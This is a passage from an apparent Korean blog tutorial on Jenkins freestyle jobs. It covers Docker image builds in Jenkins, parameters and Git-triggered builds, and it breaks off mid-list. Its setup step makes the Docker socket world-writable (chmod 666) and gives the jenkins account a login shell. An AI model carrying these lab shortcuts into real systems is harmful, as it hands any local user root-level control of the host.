&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.45.08.png&quot; data-origin-width=&quot;1520&quot; data-origin-height=&quot;1326&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwThsd/btsGCxJ2YEh/jLC4Pyj9halx6qbTttYKk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwThsd/btsGCxJ2YEh/jLC4Pyj9halx6qbTttYKk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwThsd/btsGCxJ2YEh/jLC4Pyj9halx6qbTttYKk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwThsd%2FbtsGCxJ2YEh%2FjLC4Pyj9halx6qbTttYKk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1520&quot; height=&quot;1326&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.45.08.png&quot; data-origin-width=&quot;1520&quot; data-origin-height=&quot;1326&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빌드 결과 확인 : 화살표 클릭 후 Console Output 클릭하여 콘솔 출력 확인 &amp;rarr; 하단에 SUCCES&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.46.12.png&quot; data-origin-width=&quot;1856&quot; data-origin-height=&quot;698&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bewOEa/btsGFiLMrTu/TWbPcFKE5Pki9kssCLovz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bewOEa/btsGFiLMrTu/TWbPcFKE5Pki9kssCLovz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bewOEa/btsGFiLMrTu/TWbPcFKE5Pki9kssCLovz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbewOEa%2FbtsGFiLMrTu%2FTWbPcFKE5Pki9kssCLovz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1856&quot; height=&quot;698&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.46.12.png&quot; data-origin-width=&quot;1856&quot; data-origin-height=&quot;698&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상위 메뉴 - 구성 : 명령어 추가 &amp;rarr; Apply 저장 &amp;rarr; 지금 빌드 후 Console Output 확인
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;java -version&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;whoami&lt;/li&gt;
&lt;li&gt;touch hello.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.52.07.png&quot; data-origin-width=&quot;2268&quot; data-origin-height=&quot;926&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dA21xJ/btsGEhs4v0p/a81XWWEi27SWmc6Y5WgKP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dA21xJ/btsGEhs4v0p/a81XWWEi27SWmc6Y5WgKP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dA21xJ/btsGEhs4v0p/a81XWWEi27SWmc6Y5WgKP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdA21xJ%2FbtsGEhs4v0p%2Fa81XWWEi27SWmc6Y5WgKP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2268&quot; height=&quot;926&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.52.07.png&quot; data-origin-width=&quot;2268&quot; data-origin-height=&quot;926&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Item(Job) 프로젝트 디텍토리 혹은 젠킨스 작업 공간 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184303484&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;find / -name First_Project
/var/lib/jenkins/jobs/First_Project
/var/lib/jenkins/workspace/First_Project

# 프로젝트(job, item) 별 작업 공간 확인
tree /var/lib/jenkins/workspace/First_Project&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.54.24.png&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;272&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc0ANm/btsGCnubOAy/LOXawpOlgcaV4recTVIuu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc0ANm/btsGCnubOAy/LOXawpOlgcaV4recTVIuu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc0ANm/btsGCnubOAy/LOXawpOlgcaV4recTVIuu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc0ANm%2FbtsGCnubOAy%2FLOXawpOlgcaV4recTVIuu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1290&quot; height=&quot;272&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.54.24.png&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;272&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Docker 사용 : Docker-Project&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;사전 준비&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;jenkins 유저는 /bin/false로 shell, ssh 접근, 홈디렉토리 등 모든 것이 제한되어 있는 상태이므로 /bin/bash로 사용자 권한을 수정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184331229&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# jenkins 유저로 docker 사용 가능하게 설정
grep -i jenkins /etc/passwd
usermod -s /bin/bash jenkins
grep -i jenkins /etc/passwd&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.56.56.png&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzkgmU/btsGCXIDcnC/kaaYMGq59xNRKchqKYvtU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzkgmU/btsGCXIDcnC/kaaYMGq59xNRKchqKYvtU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzkgmU/btsGCXIDcnC/kaaYMGq59xNRKchqKYvtU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzkgmU%2FbtsGCXIDcnC%2FkaaYMGq59xNRKchqKYvtU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1070&quot; height=&quot;164&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.56.56.png&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;jenkins 유저는 현재 docker info라는 명령어를 사용할 수 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184413412&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;su - jenkins
whoami
pwd
docker info
exit&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.59.00.png&quot; data-origin-width=&quot;1570&quot; data-origin-height=&quot;508&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wJMZT/btsGFf2z3GZ/EwYvTn1sdoLT2Tq2J75y60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wJMZT/btsGFf2z3GZ/EwYvTn1sdoLT2Tq2J75y60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wJMZT/btsGFf2z3GZ/EwYvTn1sdoLT2Tq2J75y60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwJMZT%2FbtsGFf2z3GZ%2FEwYvTn1sdoLT2Tq2J75y60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1570&quot; height=&quot;508&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.59.00.png&quot; data-origin-width=&quot;1570&quot; data-origin-height=&quot;508&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;docker 실행 권한을 jenkins 유저에게 주어 docker를 사용할 수 있도록 설정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184459675&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod 666 /var/run/docker.sock
usermod -aG docker jenkins

# Jeknins 유저로 확인
su - jenkins
docker info

# Dockerhub로 로그인 하기
docker login
Username: &amp;lt;자신의 계정명&amp;gt;
Password: &amp;lt;자신의 암호&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습을 위한 디렉토리와 Dockerfile을 생성합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184485192&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Dockerfile 파일 생성
vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=2.0.0 NICK=&amp;lt;자신의 닉네임&amp;gt;
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime &amp;amp;&amp;amp; echo $TZ &amp;gt; /etc/timezone &amp;amp;&amp;amp; \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    apt-get update &amp;amp;&amp;amp; apt-get install -y apache2 figlet &amp;amp;&amp;amp; \
    echo &quot;$NICK Web Server $VERSION&amp;lt;br&amp;gt;&quot; &amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    figlet AEWS Study &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;/pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html
EXPOSE 80
CMD [&quot;usr/sbin/apache2ctl&quot;, &quot;-DFOREGROUND&quot;]

vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=2.0.0 NICK=gasida
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime &amp;amp;&amp;amp; echo $TZ &amp;gt; /etc/timezone &amp;amp;&amp;amp; \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    apt-get update &amp;amp;&amp;amp; apt-get install -y apache2 figlet &amp;amp;&amp;amp; \
    echo &quot;$NICK Web Server $VERSION&amp;lt;br&amp;gt;&quot; &amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    figlet AEWS Study &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;/pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html
EXPOSE 80
CMD [&quot;usr/sbin/apache2ctl&quot;, &quot;-DFOREGROUND&quot;]

# 모니터링
watch -d 'docker images; echo; docker ps'

-----------
# (참고) 이미지 빌드
docker build -t myweb:v2.0.0 -f /var/lib/jenkins/myweb2/Dockerfile

# (참고) 컨테이너 실행
docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;New Item 생성 : Docker-Project , freestyle&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Build Steps : Execute shell&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184517875&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd /var/lib/jenkins/myweb2
docker build -t myweb:v2.0.0 .&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Add build Steps : Execute shell&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184532259&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.34.58.png&quot; data-origin-width=&quot;2180&quot; data-origin-height=&quot;1484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ndngE/btsGCpS6Ggu/q7TvrBkXRuYcYvmCxkp8xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ndngE/btsGCpS6Ggu/q7TvrBkXRuYcYvmCxkp8xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ndngE/btsGCpS6Ggu/q7TvrBkXRuYcYvmCxkp8xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FndngE%2FbtsGCpS6Ggu%2Fq7TvrBkXRuYcYvmCxkp8xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2180&quot; height=&quot;1484&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.34.58.png&quot; data-origin-width=&quot;2180&quot; data-origin-height=&quot;1484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지금 빌드 &amp;rarr; 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184551643&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker images
docker ps
curl localhost&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.38.43.png&quot; data-origin-width=&quot;3218&quot; data-origin-height=&quot;1704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCJPHa/btsGEqwLIWU/3ggT7BJFoekvwnCGAXIKsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCJPHa/btsGEqwLIWU/3ggT7BJFoekvwnCGAXIKsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCJPHa/btsGEqwLIWU/3ggT7BJFoekvwnCGAXIKsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCJPHa%2FbtsGEqwLIWU%2F3ggT7BJFoekvwnCGAXIKsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3218&quot; height=&quot;1704&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.38.43.png&quot; data-origin-width=&quot;3218&quot; data-origin-height=&quot;1704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.40.01.png&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nhGzU/btsGCtA0ZjD/PKzCD9TF2TujvYvIoBQnZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nhGzU/btsGCtA0ZjD/PKzCD9TF2TujvYvIoBQnZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nhGzU/btsGCtA0ZjD/PKzCD9TF2TujvYvIoBQnZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnhGzU%2FbtsGCtA0ZjD%2FPKzCD9TF2TujvYvIoBQnZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;908&quot; height=&quot;336&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.40.01.png&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습 리소스 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713184581640&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker rm -f myweb
docker rmi myweb:v2.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Github 가입 : 자신의 계정명 확인 &amp;rarr; &lt;a href=&quot;https://github.com/gasida/aews-cicd.git&quot;&gt;https://github.com/gasida/aews-cicd.git&lt;/a&gt; fork&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.42.36.png&quot; data-origin-width=&quot;1842&quot; data-origin-height=&quot;802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beBspr/btsGDCYwOXT/hVUwt3GDNQZPztj5K1ko5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beBspr/btsGDCYwOXT/hVUwt3GDNQZPztj5K1ko5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beBspr/btsGDCYwOXT/hVUwt3GDNQZPztj5K1ko5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeBspr%2FbtsGDCYwOXT%2FhVUwt3GDNQZPztj5K1ko5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1842&quot; height=&quot;802&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.42.36.png&quot; data-origin-width=&quot;1842&quot; data-origin-height=&quot;802&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;파라미터, 빌드 유발(SCM - Git) 사용 : Trigger-Project&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;New Item 생성 : Trigger-Project, freestyle&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;General &amp;rarr; &lt;span style=&quot;background-color: #ffffff; color: #14141f; text-align: start;&quot;&gt;이 빌드는 매개변수가 있습니다. &amp;rarr;&lt;/span&gt;&amp;nbsp;String Parameter
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;변수명(VERSION), Default Vault(v1.0.0)&lt;/li&gt;
&lt;li&gt;변수명(NICK), Default Vault(&amp;lt;자신의 계정명&amp;gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.46.37.png&quot; data-origin-width=&quot;2210&quot; data-origin-height=&quot;1554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp8veT/btsGEUK99CT/yxw2qi0MTl7LEhq9DxQUO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp8veT/btsGEUK99CT/yxw2qi0MTl7LEhq9DxQUO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp8veT/btsGEUK99CT/yxw2qi0MTl7LEhq9DxQUO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp8veT%2FbtsGEUK99CT%2Fyxw2qi0MTl7LEhq9DxQUO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2210&quot; height=&quot;1554&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.46.37.png&quot; data-origin-width=&quot;2210&quot; data-origin-height=&quot;1554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;소스 코드 관리 : Git
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Repo URL : https://github.com/&amp;lt;자신의 계정명&amp;gt;/aews-cicd&lt;/li&gt;
&lt;li&gt;Branch : */&lt;b&gt;main&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Additional Behaviours &amp;rarr; Sparse Checkout paths (Path) : &lt;b&gt;1 &lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #14141f; text-align: start;&quot;&gt;&amp;rarr; 1이라는&amp;nbsp;&lt;/span&gt;특정 폴더의 파일만 가져옵니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.53.21.png&quot; data-origin-width=&quot;1802&quot; data-origin-height=&quot;1710&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Htp5/btsGE6Sl52N/P5wK4V6coyGeAZVPZn9l7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Htp5/btsGE6Sl52N/P5wK4V6coyGeAZVPZn9l7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Htp5/btsGE6Sl52N/P5wK4V6coyGeAZVPZn9l7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Htp5%2FbtsGE6Sl52N%2FP5wK4V6coyGeAZVPZn9l7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1802&quot; height=&quot;1710&quot; data-filename=&quot;스크린샷 2024-04-15 오후 8.53.21.png&quot; data-origin-width=&quot;1802&quot; data-origin-height=&quot;1710&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
